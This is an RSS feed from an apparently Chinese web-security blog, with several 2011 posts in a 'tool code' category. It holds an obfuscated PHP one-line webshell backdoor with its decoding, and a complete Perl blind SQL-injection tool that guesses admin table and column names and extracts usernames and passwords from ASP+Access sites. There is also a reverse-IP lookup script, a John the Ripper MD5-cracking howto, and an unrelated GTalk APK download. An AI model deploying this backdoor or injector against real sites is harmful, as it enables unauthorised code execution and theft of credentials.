<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>0x50sec.org &#187; 工具代码</title>
	<atom:link href="http://www.0x50sec.org/category/hack-tools/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.0x50sec.org</link>
	<description>Focus on web security!</description>
	<lastBuildDate>Fri, 13 Jan 2012 09:23:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>htc chacha (G16) 的gtalk</title>
		<link>http://www.0x50sec.org/htc-chacha-g16-%e7%9a%84gtalk/</link>
		<comments>http://www.0x50sec.org/htc-chacha-g16-%e7%9a%84gtalk/#comments</comments>
		<pubDate>Thu, 10 Nov 2011 09:32:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[gtalk]]></category>
		<category><![CDATA[htc chacha]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1213</guid>
		<description><![CDATA[刚玩android，买了个低端的机器，htc chacha 全键盘感觉还是不错，唯一的遗憾就是没gtalk但我偏偏喜欢gtalk的简洁，国行和很多经典版的rom都没有带gtalk客户端，就在别的rom里提取了system/app目录下提取了apk文件，装上果然可以用。 网上找了半天都没找到～～～，有同样想装gtalk的不妨下载安装试试。 下载地址: Talk]]></description>
			<content:encoded><![CDATA[<p>刚玩android，买了个低端的机器，htc chacha 全键盘感觉还是不错，唯一的遗憾就是没gtalk但我偏偏喜欢gtalk的简洁，国行和很多经典版的rom都没有带gtalk客户端，就在别的rom里提取了system/app目录下提取了apk文件，装上果然可以用。</p>
<p>网上找了半天都没找到～～～，有同样想装gtalk的不妨下载安装试试。</p>
<p>下载地址: <a href="http://www.0x50sec.org/wp-content/uploads/2011/11/Talk.zip">Talk</a></p>
<p><a href="http://www.0x50sec.org/wp-content/uploads/2011/11/2011-11-10_13-33-37.jpg"><img class="aligncenter size-full wp-image-1214" title="2011-11-10_13-33-37" src="http://www.0x50sec.org/wp-content/uploads/2011/11/2011-11-10_13-33-37.jpg" alt="" width="480" height="320" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/htc-chacha-g16-%e7%9a%84gtalk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>有趣的新型PHP一句话后门</title>
		<link>http://www.0x50sec.org/%e6%9c%89%e8%b6%a3%e7%9a%84%e6%96%b0%e5%9e%8bphp%e4%b8%80%e5%8f%a5%e8%af%9d%e5%90%8e%e9%97%a8/</link>
		<comments>http://www.0x50sec.org/%e6%9c%89%e8%b6%a3%e7%9a%84%e6%96%b0%e5%9e%8bphp%e4%b8%80%e5%8f%a5%e8%af%9d%e5%90%8e%e9%97%a8/#comments</comments>
		<pubDate>Wed, 26 Oct 2011 06:51:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>
		<category><![CDATA[PHP一句话后门]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1200</guid>
		<description><![CDATA[前几天跟lcx老大讨论了某论坛的全符号的一句话后门（这貌似不是一句话了是N句了）. &#60;?php $_=&#8221;"; $_[+""]=&#8221;; $_=&#8221;$_&#8221;.&#8221;"; $_=($_[+""]&#124;&#8221;&#8221;).($_[+""]&#124;&#8221;&#8221;).($_[+""]^&#8221;&#8221;); ?&#62; &#60;?php ${&#8216;_&#8217;.$_}['_'](${&#8216;_&#8217;.$_}['__']);?&#62; 经过测试发现原来一个数组跟一个字符串连接后会强制把数组转换为字符串&#8221;Array&#8221;，所以也就有了上面那个一句话后门。 解密一下其实就是这个样子。 &#60;?php $_=&#8221;";            //$_空字符串 $_[+""]=&#8221;;        //$_[0]为空字符串 $_=&#8221;$_&#8221;.&#8221;";        //数组跟空字符串连接后(经php强制转换)    变成了字符串&#8221;Array&#8221; 所以$_[+""]相当于$_[0]=&#8217;A&#8217; $_=($_[+""]^&#8221;&#8221;).($_[+""]^&#8221;&#8221;).($_[+""]^&#8221;&#8221;).($_[+""]^&#8221;&#8221;);    //POST //$_=($_[+""]&#124;&#8221;&#8221;).($_[+""]&#124;&#8221;&#8221;).($_[+""]^&#8221;&#8221;);                    //GET @${&#8216;_&#8217;.$_}['_'](${&#8216;_&#8217;.$_}['__']);                                    //$_POST[_]($_POST[__]) ?&#62; &#160;]]></description>
			<content:encoded><![CDATA[<p>前几天跟lcx老大讨论了某论坛的全符号的一句话后门（这貌似不是一句话了是N句了）.</p>
<p>&lt;?php<br />
$_=&#8221;";<br />
$_[+""]=&#8221;;<br />
$_=&#8221;$_&#8221;.&#8221;";<br />
$_=($_[+""]|&#8221;&#8221;).($_[+""]|&#8221;&#8221;).($_[+""]^&#8221;&#8221;);<br />
?&gt;<br />
&lt;?php ${&#8216;_&#8217;.$_}['_'](${&#8216;_&#8217;.$_}['__']);?&gt;</p>
<p>经过测试发现原来一个数组跟一个字符串连接后会强制把数组转换为字符串&#8221;Array&#8221;，所以也就有了上面那个一句话后门。<br />
解密一下其实就是这个样子。</p>
<p>&lt;?php<br />
$_=&#8221;";            //$_空字符串<br />
$_[+""]=&#8221;;        //$_[0]为空字符串<br />
$_=&#8221;$_&#8221;.&#8221;";        //数组跟空字符串连接后(经php强制转换)    变成了字符串&#8221;Array&#8221; 所以$_[+""]相当于$_[0]=&#8217;A&#8217;<br />
$_=($_[+""]^&#8221;&#8221;).($_[+""]^&#8221;&#8221;).($_[+""]^&#8221;&#8221;).($_[+""]^&#8221;&#8221;);    //POST<br />
//$_=($_[+""]|&#8221;&#8221;).($_[+""]|&#8221;&#8221;).($_[+""]^&#8221;&#8221;);                    //GET<br />
@${&#8216;_&#8217;.$_}['_'](${&#8216;_&#8217;.$_}['__']);                                    //$_POST[_]($_POST[__])<br />
?&gt;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e6%9c%89%e8%b6%a3%e7%9a%84%e6%96%b0%e5%9e%8bphp%e4%b8%80%e5%8f%a5%e8%af%9d%e5%90%8e%e9%97%a8/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Blind Access SQL Injector (perl)</title>
		<link>http://www.0x50sec.org/blind-access-sql-injector-perl/</link>
		<comments>http://www.0x50sec.org/blind-access-sql-injector-perl/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 15:28:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>
		<category><![CDATA[Access]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Perl]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1191</guid>
		<description><![CDATA[最近找了个milw0rm风格的模板做了几个页面，主要是对博客一点都不简洁的东西有些忍受不了。 还有就是要测试一些asp+access的网站，懒的开虚拟机去扫注射什么的，就把原来用C语言写的小程序，改进了判断注射的方法，增加了对COOKIE进行检测的功能，用着还比较顺手，轻量级的就是比较快也容易控制。然后稍微一改就写了个注射access的小脚本，也没什么用纯属娱乐。 下载地址:http://www.cli5.com/paper/38 #!/usr/bin/perl # blind access sqlinjector [GET Method] # for educational purpose only! # Code by c4rp3nt3r@0x50sec.org #其实没多大作用 use POSIX; use LWP::UserAgent; #######!!!!!!SET THE FOLLOWING TWO LINES $target ="http://www.cli5.com/exploit.asp?id=111"; $turestr='2011-1-1'; #######!!!!!! $comstr=""; #%00 $nullstr="+"; #%20 %09 %0a print "\n"; print "\t&#124;=-----------------------------------------=&#124;\n"; print "\t&#124;=---[ Blind Access SQL Injector V1.0 ]----=&#124;\n"; print "\t&#124;=-------[ c4rp3nt3r\@0x50sec.org ]---------=&#124;\n"; [...]]]></description>
			<content:encoded><![CDATA[<p>最近找了个milw0rm风格的模板做了几个页面，主要是对博客一点都不简洁的东西有些忍受不了。<br />
还有就是要测试一些asp+access的网站，懒的开虚拟机去扫注射什么的，就把原来用C语言写的小程序，改进了判断注射的方法，增加了对COOKIE进行检测的功能，用着还比较顺手，轻量级的就是比较快也容易控制。然后稍微一改就写了个注射access的小脚本，也没什么用纯属娱乐。<br />
下载地址:<a href="http://www.cli5.com/paper/38">http://www.cli5.com/paper/38</a></p>
<pre>
#!/usr/bin/perl
# blind access sqlinjector [GET Method]
# for educational purpose only!
# Code by c4rp3nt3r@0x50sec.org
#其实没多大作用

use POSIX;
use LWP::UserAgent;

#######!!!!!!SET THE FOLLOWING TWO LINES
$target ="http://www.cli5.com/exploit.asp?id=111";
$turestr='2011-1-1';
#######!!!!!!

$comstr="";		#%00
$nullstr="+";	#%20 %09 %0a 

print "\n";
print "\t|=-----------------------------------------=|\n";
print "\t|=---[ Blind Access SQL Injector V1.0 ]----=|\n";
print "\t|=-------[ c4rp3nt3r\@0x50sec.org ]---------=|\n";
print "\t|=-----------------------------------------=|\n\n";

main();

sub main
{

	print 'Choose a number to be execute:
	[a] fuzz table_name
	[b] fuzz column_name
	[c] sql (Dump data)
	';
	print "\n";
	print "Choose a number#";
	$xnum= <STDIN>; chomp $xnum;

	if($xnum eq 'a')
	{
		fuzz_tb();
	}elsif($xnum eq 'b')
	{
		print "Enter The table name to fuzz the column#";
		$sql_stdin= <STDIN>; chomp $sql_stdin;
		fuzz_pwd_usr_clm($sql_stdin);
	}elsif($xnum eq 'c')
	{
		print "Enter The admin table name#";
		$t_admin = <STDIN>; chomp $t_admin;
		print "Enter the user column name#";
		$t_user = <STDIN>; chomp $t_user;
		print "Enter the pass column name#";
		$t_pass = <STDIN>; chomp $t_pass;
		dump_fuzz_half($t_admin,$t_user,$t_pass);
	}

}

#################
sub fuzz_tb
{
print "[*] Fuzz admin table name...\n";
$xsql = $nullstr.'aND(SeLEcT'.$nullstr.'CoUNt(*)'.$nullstr.'fRoM';#.think_md5hash)>0--

#print "$sql\n\007\n";
@ok_tbname=();
$long=@ok_tbname;

#print "[*] Guess table name...\n\n";
@tables=(
'admin',
'admins',
'users',
'user',
'usr_pw',
'salt',
'members',
'mysql.user',
'think_md5hash',
'hash',
'login',
'log_user',
'admin_user',
'adminuser',
'member_admin',
'AdminUsers',
'administrables',
'administrateur',
'administrateurs',
'login_admin',
'login_admins',
'login_user',
'login_users',
'lost_pass',
'lost_passwords',
'lostpass',
'lostpasswords',
'stnuser',
'stuser',
'stusers',
'stuseres',
'staff',
'u_name',
'u_p',
'u_pass',
'Benutzer',
'usercontrol',
'user_pw',
'Benutzerliste',
'userlogins',
'userpasswd',
'admuser',
'system',
'adm',
'tb_user',
'x_admin',
'm_admin',
'manage',
'member',
'tbl_user',
'tbl_users',
'tbl_admin',
'tbl_admins',
'tbl_member',
'tbl_members',
'tbladmins',
'admin_user',
'admin_userinfo',
'administrator',
'adminid',
'admin_id',
'adminuserid',
'admin_userid',
'AdminUID',
'adminusername',
'admin_username',
'adminname',
'admin_name',
'wp_users',
);
	foreach $tbname(@tables)
	{
		$final=$target.$xsql.$nullstr.$tb_prefix.$tbname.')'.$comstr;
		$ua =  new LWP::UserAgent or die;
		$ua->timeout(35);
		$ua->proxy("http", "http://$proxy/") if defined($proxy);
		$tbres = $ua->get($final);
		print "[*] Fuzz table name [$tbname]"."\n";
		#print $final."\n";
		if($tbres->content =~ /$turestr/)
		{
			$result=$result."[+] Found ->".$tbname."\n\n";
			print " \n[+] Found table_name-> [$tbname]"."\n\n";
			$long=@ok_tbname;
			@ok_tbname[$long]=$tbname;	#将存在的表名放到一个数组里
		}
	}

}

sub fuzz_pwd_usr_clm
{
my($xok_tbname)=@_;

##-------
@usrclms=(
'username',
'user_name',
'user',
'login',
'admin',
'adminname',
'admin_id',
'usr',
'name',
'u_name',
'administrators',
'administrator',
'adminuser',
'adminname',
'admin_name',
'admin_user',
'admin_username',
'user_admin',
'user_n',
'user_un',
'user_uname',
'user_username',
'user_usernm',
'user_usernun',
'user_usrnm',
'usr',
'email',
'mail',
'usr_n',
'usr_name',
'usr_pass',
'usr2',
'usrn',
'usrnam',
'usrname',
'usrnm',
'adminusername',
'bbsuser',
'bbsid',
'bbsusername',
'permission',
'access',
'accnt',
'accnts',
'account',
'accounts',
'qq',
'帐号',
'管理员',
'权限',
'用户名',
'会员',
'用户帐号',
);
@pwdclms=(
'password',
'pwd',
'userpass',
'pass',
'psw',
'userpwd',
'userpw',
'psd',
'pw',
'user_pass',
'admin_password',
'PassWD',
'user_password',
'uPassword',
'user_pwd',
'adminpwd',
'admin_pass',
'admin_password',
'login_pass',
'login_passwd',
'login_password',
'login_pw',
'login_pwd',
'login_user',
'login_username',
'adminpsw',
'adminupass',
'user_pass',
'user_passw',
'user_passwd',
'user_pw',
'user_pwd',
'user_pword',
'pword',
'user_pwrd',
'密码',
'用户密码',
'编号',
);

	print "\n[*] Fuzz user column name...\n\n";
	my $ua = new LWP::UserAgent or die;
	$i=0;
	$ua -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920	Firefox/3.0.4");
	foreach $usr_clm(@usrclms)
	{

		$xsql = $nullstr.'aND(SeLEcT'.$nullstr.'CoUNt('.$usr_clm.')'.$nullstr.'fRoM'.$nullstr.$xok_tbname.')'.$comstr;#.think_md5hash)>0--
		$final=$target.$xsql;
		$tbres = $ua->get($final);
		print "[*] Fuzz [$usr_clm] from $xok_tbname \n";
		#print $final."\n";
		if($tbres->content =~ /$turestr/)
		{	$result=$result."[+] Found column_name->"."[$usr_clm]"." from table_name->"."[$xok_tbname]"."\n";
			print "\n[+] Found column_name->"."[$usr_clm]"." from table_name->"."[$xok_tbname]"."\n\n";
			$usr=$usr_clm;
			last;
		}
	}

	print "\n[*] Fuzz password column name...\n\n";
	foreach $pwd_clm(@pwdclms)
	{
		$xsql = $nullstr.'aND(SeLEcT'.$nullstr.'CoUNt('.$pwd_clm.')'.$nullstr.'fRoM'.$nullstr.$xok_tbname.')'.$comstr;#.think_md5hash)>0--
		$final=$target.$xsql;

		$tbres = $ua->get($final);
		print "[*] Fuzz [$pwd_clm] from [$xok_tbname] \n";
		#print $final."\n";
		if($tbres->content =~ /$turestr/)
		{	$result=$result."[+] Found column_name->"."[$pwd_clm]"." from table_name->"."[$xok_tbname]"."\n";
			print "\n[+] Found column_name->"."[$pwd_clm]"." from table_name->"."[$xok_tbname]"."\n\n";
			$pwd=$pwd_clm;
			last;
		}
	}

	print "[+] Found column_name->"." [$usr] [$pwd] "." from table_name->"."[$xok_tbname]"."\n\n";
}

#################################
sub dump_fuzz_half
{
	$|=1;	# 立即刷新缓冲区输出内容
	my($xok_tbname,$usr,$pwd) = @_; 

	$fuzzsql="seleCt".$nullstr."count(*)".$nullstr.'from'.$nullstr.$xok_tbname;
	print "[*]$fuzzsql:\n";
	$count = fuzz_half($fuzzsql,0,45);
	if($count<=0)
	{
		print "[-]Count(*) of $xok_tbname is less than zero!\n";
		exit;
	}else
	{
		print "[+]Count(*) of $xok_tbname is: [$count]\n";
	}

	$fuzzsql="seleCt".$nullstr.'top'.$nullstr.'1'.$nullstr."len($usr)".$nullstr.'from'.$nullstr.$xok_tbname;
	print "[*]$fuzzsql:\n";
	$len = fuzz_half($fuzzsql,0,45);
	if($len<=0)
	{
		print "[-]Length of top 1 $usr is less than zero!\n";
		exit;
	}else
	{
		print "[+]Length of top 1 $usr is: [$len]\n";
	}
	@okusr=();
	@okpwd=();
	printf("[+]SeleCt top 1 [$usr] from [$xok_tbname]: ");
	for($subset=1;$subset<=$len;$subset++)
	{
		$fuzzsql='seleCt'.$nullstr.'top'.$nullstr.'1'.$nullstr."asc(mid($usr,$subset,1))".$nullstr.'frOm'.$nullstr.$xok_tbname;
		$long=@okusr;
		$ret=fuzz_half($fuzzsql,0,127);
		@okusr[$long]=$ret;
		printf("%c",$ret);
	}
	print "\n[";
	foreach $xoktbnum(@okusr)
	{
		printf("%c",$xoktbnum);
	}
	print "]\n";

	$fuzzsql='seleCt'.$nullstr.'top'.$nullstr.'1'.$nullstr."len($pwd)".$nullstr.'from'.$nullstr.$xok_tbname;
	print "[*]$fuzzsql:\n";
	$len = fuzz_half($fuzzsql,0,45);
	if($len<=0)
	{
		print "[-]Length of top 1 $pwd is less than zero!\n";
		exit;
	}else
	{
		print "[+]Length of top 1 $pwd is: [$len]\n";
	}
	printf("[+]SeleCt top 1 [$pwd] from [$xok_tbname]: ");
	for($subset=1;$subset<=$len;$subset++)
	{
		$fuzzsql='seleCt'.$nullstr.'top'.$nullstr.'1'.$nullstr."asc(mid($pwd,$subset,1))".$nullstr.'frOm'.$nullstr.$xok_tbname;
		$long=@okpwd;
		$ret=fuzz_half($fuzzsql,0,127);
		@okpwd[$long]=$ret;
		printf("%c",$ret);
	}
	print "\n[";

	foreach $xoktbnum(@okpwd)
	{
		printf("%c",$xoktbnum);
	}
	print "]\n\n";
	$fuzzsql="seleCt".$nullstr.'top'.$nullstr.'1'.$nullstr."$usr,$pwd".$nullstr.'from'.$nullstr.$xok_tbname;
	printf "[+]$fuzzsql:\n";
	print "[$usr] : ";
	foreach $xoktbnum(@okusr)
	{
		printf("%c",$xoktbnum);
	}
	print "\n";
	print "[$pwd] : ";
	foreach $xoktbnum(@okpwd)
	{
		printf("%c",$xoktbnum);
	}
	print "\n\n";

}

##################################
sub fuzz_half	#order by语句递归查询函数采用折半法
{
    #($min,$max)区间代表一个范围，正确的字段数在其中我们折半缩小之直到找到正确字段数
    #$min 代表能够正常显示的已经确定的最小整数
    #$max 代表不能够正常显示的已经确定的最小整数，作为我们可以确定的范围的最大数所以叫其"max"
    my ($sql,$min,$max) = @_;
    $x_fuzzsql=$sql;
    if($max==0&#038;&#038;$min==0)
    {
		return 0;
    }
    if($max-$min==1)#如果能正常显示的最小整数比不能正常显示的最小整数大一那么最小的数$min
    {				#就是要找的正确字段数目退出递归函数返回之
    	return $max;
    }
	#如果上面条件没成立就取范围中间的数字作为order by查询字段数
	my $mid=int(($min+$max)/2);#取两个正整数的平均值
	#print "max:$max,min:$min,mid=$mid\n";
	$final=$nullstr."AnD"."($sql)>";
	$final = $target.$final.$mid.$comstr;
	#print "[*] Test ($sql)>$mid...\n";
	#print $final."\n";
	my $lwp = new LWP::UserAgent or die;
	$lwp -> agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4");
	my $res = $lwp->get($final);
	my $myres=$res->content; #for test
	if($res->content =~ /$turestr/)
	{
		$min=$mid;
		fuzz_half($sql,$min,$max);
	}
	else
	{
		$max=$mid;
		fuzz_half($sql,$min,$max);
	}
}
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/blind-access-sql-injector-perl/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>一个简陋的同ip域名查询脚本</title>
		<link>http://www.0x50sec.org/%e4%b8%80%e4%b8%aa%e7%ae%80%e9%99%8b%e7%9a%84%e5%90%8cip%e5%9f%9f%e5%90%8d%e6%9f%a5%e8%af%a2%e8%84%9a%e6%9c%ac/</link>
		<comments>http://www.0x50sec.org/%e4%b8%80%e4%b8%aa%e7%ae%80%e9%99%8b%e7%9a%84%e5%90%8cip%e5%9f%9f%e5%90%8d%e6%9f%a5%e8%af%a2%e8%84%9a%e6%9c%ac/#comments</comments>
		<pubDate>Thu, 16 Jun 2011 15:52:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>
		<category><![CDATA[Google Page Rank]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Reverse IP]]></category>
		<category><![CDATA[Same IP]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1111</guid>
		<description><![CDATA[一个简陋的同ip域名查询脚本，实在简陋，丢出来想要的拿走。 可以同时查询google page rank。 #!/usr/bin/perl # Same IP / Reverse IP Lookup # Code by c4rp3nt3r#0x50sec.org # use POSIX; use LWP::UserAgent; $lwp = new LWP::UserAgent or die; print &#8220;\n[*] Same IP / Reverse IP Lookup\n&#8221;; print &#8216;[*] by c4rp3nt3r@0x50sec.org&#8217;.&#8221;\n&#8221;; $api = &#8216;http://sameip.org/ip/&#8217;; $host = $ARGV[0]; $api .= $host; $res = $lwp-&#62;get($api); $myres=$res-&#62;content; #printf($myres) ; #for [...]]]></description>
			<content:encoded><![CDATA[<p>一个简陋的同ip域名查询脚本，实在简陋，丢出来想要的拿走。</p>
<p>可以同时查询google page rank。</p>
<blockquote><p>
#!/usr/bin/perl<br />
# Same IP / Reverse IP Lookup<br />
# Code by c4rp3nt3r#0x50sec.org<br />
#</p>
<p>use POSIX;<br />
use LWP::UserAgent;</p>
<p>$lwp = new LWP::UserAgent or die;</p>
<p>print &#8220;\n[*] Same IP / Reverse IP Lookup\n&#8221;;<br />
print &#8216;[*] by c4rp3nt3r@0x50sec.org&#8217;.&#8221;\n&#8221;;</p>
<p>$api = &#8216;http://sameip.org/ip/&#8217;;<br />
$host = $ARGV[0];<br />
$api .= $host;</p>
<p>$res = $lwp-&gt;get($api);<br />
$myres=$res-&gt;content;<br />
#printf($myres) ;    #for test<br />
$i=0;<br />
@hosts=();<br />
$len=@hosts;</p>
<p>#get_pr(&#8216;www.0x50sec.org&#8217;);<br />
while($myres =~ /&lt;a\shref=\&#8221;http:\/\/(.+?)\&#8221;\srel/i)<br />
{<br />
	$qq=$&amp;;<br />
	$host=$1;<br />
	$len=@hosts;<br />
	$hosts[$len]=$host;<br />
	$myres =~ s/$qq//mg;</p>
<p>}<br />
$len=@hosts;</p>
<p>if($len != 0)<br />
{<br />
#       print &#8220;[+] Domains Result:\n&#8221;;<br />
#	for($i=0;$i&lt;$len;$i++)<br />
#	{<br />
#		print &#8220;[$i]\t&#8221;.$hosts[$i].&#8221;\n&#8221;;<br />
#	}<br />
	print &#8220;[+] Google PageRank Result:\n\n&#8221;;<br />
	for($i=0;$i&lt;$len;$i++)<br />
	{<br />
		 print &#8220;[$i]\t&#8221;.substr(get_pr($hosts[$i]),0,1).&#8221;\t&#8221;.$hosts[$i].&#8221;\n&#8221;;<br />
	}</p>
<p>}else<br />
{<br />
	print &#8220;[-] Result Not Found !\n\n&#8221;;<br />
	exit;<br />
}</p>
<p>print &#8220;\n[+] Found $len Domains! \n\n&#8221;;<br />
sub get_pr<br />
{<br />
	@suburl= @_;<br />
	my $url = $suburl[0];<br />
	$prapi=&#8217;http://www.0x50sec.org/pr.php?h=&#8217;;<br />
	$prapi .= $url;<br />
	$prlwp = new LWP::UserAgent or die;<br />
	$prres = $prlwp-&gt;get($prapi);<br />
	$pr = $prres-&gt;content;<br />
	return $pr;<br />
}</p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e4%b8%80%e4%b8%aa%e7%ae%80%e9%99%8b%e7%9a%84%e5%90%8cip%e5%9f%9f%e5%90%8d%e6%9f%a5%e8%af%a2%e8%84%9a%e6%9c%ac/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Teaching John The Ripper how to Crack MD5 Hashes</title>
		<link>http://www.0x50sec.org/teaching-john-the-ripper-how-to-crack-md5-hashes/</link>
		<comments>http://www.0x50sec.org/teaching-john-the-ripper-how-to-crack-md5-hashes/#comments</comments>
		<pubDate>Thu, 16 Jun 2011 15:46:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>
		<category><![CDATA[Hash]]></category>
		<category><![CDATA[john]]></category>
		<category><![CDATA[John the Ripper]]></category>
		<category><![CDATA[md5]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1107</guid>
		<description><![CDATA[From:http://www.disenchant.ch/blog/teaching-john-the-ripper-how-to-crack-md5-hashes/106.html /* 好强大，还有不能破解的常见密码格式吗～～～ [root@localhost]# ./john John the Ripper password cracker, version 1.7.3.4-jumbo-1 Copyright (c) 1996-2008 by Solar Designer and others Homepage: http://www.openwall.com/john/ Usage: john [OPTIONS] [PASSWORD-FILES] &#8211;single                   &#8220;single crack&#8221; mode &#8211;wordlist=FILE &#8211;stdin    wordlist mode, read words from FILE or stdin &#8211;rules                    enable word mangling rules for wordlist mode &#8211;incremental[=MODE]       &#8220;incremental&#8221; mode [using section MODE] &#8211;markov[=LEVEL[:START:END[:MAXLEN]]] [...]]]></description>
			<content:encoded><![CDATA[<div>
<p>From:http://www.disenchant.ch/blog/teaching-john-the-ripper-how-to-crack-md5-hashes/106.html</p>
<p>/*</p>
<p>好强大，还有不能破解的常见密码格式吗～～～</p>
<p>[root@localhost]# ./john<br />
John the Ripper password cracker, version 1.7.3.4-jumbo-1<br />
Copyright (c) 1996-2008 by Solar Designer and others<br />
Homepage: http://www.openwall.com/john/</p>
<p>Usage: john [OPTIONS] [PASSWORD-FILES]<br />
&#8211;single                   &#8220;single crack&#8221; mode<br />
&#8211;wordlist=FILE &#8211;stdin    wordlist mode, read words from FILE or stdin<br />
&#8211;rules                    enable word mangling rules for wordlist mode<br />
&#8211;incremental[=MODE]       &#8220;incremental&#8221; mode [using section MODE]<br />
&#8211;markov[=LEVEL[:START:END[:MAXLEN]]] &#8220;Markov&#8221; mode (see documentation)<br />
&#8211;external=MODE            external mode or word filter<br />
&#8211;stdout[=LENGTH]          just output candidate passwords [cut at LENGTH]<br />
&#8211;restore[=NAME]           restore an interrupted session [called NAME]<br />
&#8211;session=NAME             give a new session the NAME<br />
&#8211;status[=NAME]            print status of a session [called NAME]<br />
&#8211;make-charset=FILE        make a charset, FILE will be overwritten<br />
&#8211;show                     show cracked passwords<br />
&#8211;test[=TIME]              run tests and benchmarks for TIME seconds each<br />
&#8211;users=[-]LOGIN|UID[,..]  [do not] load this (these) user(s) only<br />
&#8211;groups=[-]GID[,..]       load users [not] of this (these) group(s) only<br />
&#8211;shells=[-]SHELL[,..]     load users with[out] this (these) shell(s) only<br />
&#8211;salts=[-]COUNT           load salts with[out] at least COUNT passwords only<br />
&#8211;format=NAME              force hash type NAME: DES/BSDI/MD5/BF/AFS/LM/NT/XSHA/PO/raw-MD5/IPB2/raw-sha1/md5a/hmac-md5/KRB5/bfegg/nsldap/ssha/openssha/oracle/MYSQL/mysql-sha1/mscash/lotus5/DOMINOSEC/NETLM/NETNTLM/NETLMv2/NETHALFLM/mssql/mssql05/epi/phps/mysql-fast/pix-md5/sapG/sapB/md5ns/HDAA<br />
&#8211;save-memory=LEVEL        enable memory saving, at LEVEL 1..3</p>
<p>*/</p>
<p>Today I was playing around with the well known password cracking tool John the Ripper (JtR) and was looking forward to crack some MD5 hashes. Unfortunately, John  still not supports raw-MD5 out of the box and so I was searching the web  for a solution. It took me some minutes until I found out, that there  are unoficial patches for John’s source code and so I simply patched it  and tried to compile. For any reason, I run into problems (doesn’t  matter now what problems : ) and even after about half an hour searching the web for a solution I  didn’t find anything. Then a few minutes later I found a simple howto  for how to patch and compile John so that you won’t have any problems.  The site which solved my problem was gurx.net and I couldn’t find it faster because it’s not written in English nor  German. Now of course I’ll show you how to do it the gurx.net-way but  with support for even many more algorithms than just MD5.</p>
<blockquote><p>mkdir john<br />
cd john<br />
wget http://www.openwall.com/john/f/john-1.7.2.tar.bz2<br />
tar -xvf john-1.7.2.tar<br />
cd john-1.7.2<br />
wget ftp://ftp.openwall.com/pub/projects/john/contrib/john-1.7.2-all-9.diff.gz<br />
gzip -d john-1.7.2-all-9.diff.gz<br />
patch -p1 &lt; john-1.7.2-all-9.diff.gz<br />
cd src<br />
make<br />
make clean linux-x86-any</p></blockquote>
<p>Now you can use John out of the “run” directory.</p>
<blockquote><p>./john -format=raw-MD5 /home/disenchant/md5_hashes_to_crack.txt</p></blockquote>
<p>raw-MD5 means that you’ve got an input file (/home/disenchant/md5_hashes_to_crack.txt) like the following:</p>
<blockquote><p>Alice:5f4dcc3b5aa765d61d8327deb882cf99<br />
Bob:1c0b76fce779f78f51be339c49445c49<br />
…</p></blockquote>
<p>PS: My machine’s a Xubuntu Edgy but this should work with any Linux box ：）</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/teaching-john-the-ripper-how-to-crack-md5-hashes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>16&amp;&amp;32 Bytes Md5 Hash Online Crack</title>
		<link>http://www.0x50sec.org/16-32-bytes-md5-hash-online-crack/</link>
		<comments>http://www.0x50sec.org/16-32-bytes-md5-hash-online-crack/#comments</comments>
		<pubDate>Mon, 27 Sep 2010 10:31:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>
		<category><![CDATA[Crack]]></category>
		<category><![CDATA[md5]]></category>
		<category><![CDATA[md5 hash]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=941</guid>
